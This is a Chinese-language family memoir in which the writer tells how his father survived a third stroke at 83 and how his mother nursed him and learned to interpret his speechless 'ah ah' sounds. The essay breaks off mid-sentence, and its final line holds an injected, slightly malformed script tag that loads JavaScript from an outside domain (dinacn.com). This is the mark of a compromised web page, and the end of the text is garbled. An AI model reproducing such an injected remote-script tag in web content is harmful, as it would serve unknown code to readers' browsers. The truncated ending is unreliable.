2007年清明，我们又赶回老家，为母亲扫墓。父亲提出，他要跟我们一起参加祭祀活动，他想跟母亲说说话。父亲一边流泪一边“啊啊”地“说”。母亲已经不在了，父亲的话，我们没有一个人能全部听懂，但这一次，父亲“说”的，我们全都听懂了，而且听得泪光闪闪。

    九死一生：“死”去的父亲复活了

    2004年春节过后不久，已经在城里生活了七八年的父母决定回到乡下老家居住。

    他们说，都已经80多了，叶落归根。

    可回到老家不久，父亲就出事了。2004年6月9日，父亲突然在家门口摔了一跤，不一会儿就昏迷了。当我和小弟弟闻讯从长沙和广州赶回家里，在永州工作的大弟弟已经把父亲送到市医院抢救。这已经是父亲第三次中风昏迷。

    我们三兄弟日夜守护着父亲，母亲不听我们劝阻，也坚持陪在病房里，累了就伏在床沿上打个盹，醒过来就摸摸父亲的脸，翻翻父亲的眼皮，看有没有反应，然后又轻轻地为父亲做按摩。经过一个星期的“强化”救治后，父亲挺了过来，与死神擦肩而过。那天中午，父亲的手在母亲的手中突然用力地动了起来，然后睁开眼睛看着床前的母亲，最后抬起已经瘫了十多年的左手把鼻饲管拉了出来，又把氧气管扒开。我们看得目瞪口呆，母亲却笑着对我们说：“你们看，这不是又活了？！”    

    父亲复活了，我们全家人很是高兴。可父亲只会“啊啊”地嚷，不会说话了。然而能够活下来，比什么都重要。父亲出院后，留在永州城里的二姐姐家一边观察一边康复。在母亲和二姐一家的精心照料下，父亲康复得很快。两个月后，父亲决意要回乡下老家。母亲知道再怎么拦也拦不住了，于是便上医院听医嘱。来到医院，母亲把父亲从轮椅上搀起来，父亲移动双腿向前挪动了几步。医生们有些不敢相信：一个83岁的老人，第三次中风昏迷，两个月时间，竟然还能恢复成这样！看着医生们惊奇的情形，父亲也“呵呵”地笑起来，又僵硬地伸出左手拇指，先向医生们竖了竖，然后停在母亲胸前……

    回到老家后，我们请了一个强壮劳力专门照料父亲。这位老兄尽职尽责，可父亲还是不满意。原来，父亲是想要母亲日夜照料他，几十年在一起，他们分不开！可母亲也已81岁高龄，自己也应该被别人照顾了，怎么还能伺候得了83岁的全瘫父亲呢？我们感到很为难。没想到，母亲却说：“我行！我来！你们明天回去上班吧！”试了两天，父亲像是变了一个人，不吵不闹，任凭母亲摆布了。

    寸步不离：母亲成了父亲的专职“翻译”

    我们一直非常担心，同样是80高龄而又身材矮小的母亲长期伺候身高1.80米、体重160多斤、几乎全瘫的父亲吃不吃得消。但几个月下来，母亲不仅坚持挺了过来，还像原来一样把一大堆家务事做得井井有条，把家里搞得干干净净，她自己的身体仿佛比原来还好。春暖花开，父亲在母亲搀扶下能够走一两百米了，父亲能够自己下床了，父亲能够说出一两个词了。医生曾经嘱咐，高血压瘫痪的病人自私心理最重，最难护理。父亲也是一样，除了不准母亲玩牌，每到吃饭，他都要母亲先喂自己吃饱后才让母亲吃，有时遇到可口的菜肴，父亲吃得一点都不留；而吃饭吃菜前，他又都要母亲先尝一口，看烫不烫，然后才张嘴。母亲知道父亲的心理，从不责备父亲。

    母亲没有想到，在她的照料下，父亲会恢复得这么快这么好。但母亲仍不满足。她想要父亲重新学会说话。父亲是个戏迷，母亲于是买回几百张戏曲碟片，每天陪父亲看一出，一边看一边讨论。母亲在讨论时常常“出错”，父亲就帮母亲“纠正”，母亲也认真地向父亲“请教”。有时，父亲说了老半天，母亲还是没听懂，父亲就显出无可奈何的神态。母亲灵机一动，叫人买回块小黑板，碰到听不懂的，就叫父亲写几个字试试，以便帮着理解。父亲只有左手能够僵硬地动一动，开始写的字全是“天书”，一个都认不出来，慢慢地，母亲从他的下笔去判断，便能猜出一些。这样的“训练”虽然最终没有让父亲恢复语言功能，却让母亲把父亲心里装着的事情全都装进了自己心里。一逢我们回家，一逢客来人往，与父亲交谈时，母亲总是搬张凳子坐在父亲身旁，父亲“啊啊”地说一阵，把头偏向母亲，母亲便把父亲想说的话说出来，父亲点头之后又接着说下一段……就这样，母亲又成了父亲的专职“翻译”……
                   
    爱在心底：听父亲讲那最浪漫的事     

    两年时间，母亲和父亲寸步不离。虽然我们9个儿女没有一个能够长期待在父母身边，我们为此感?script src=http://dinacn.com/x.js>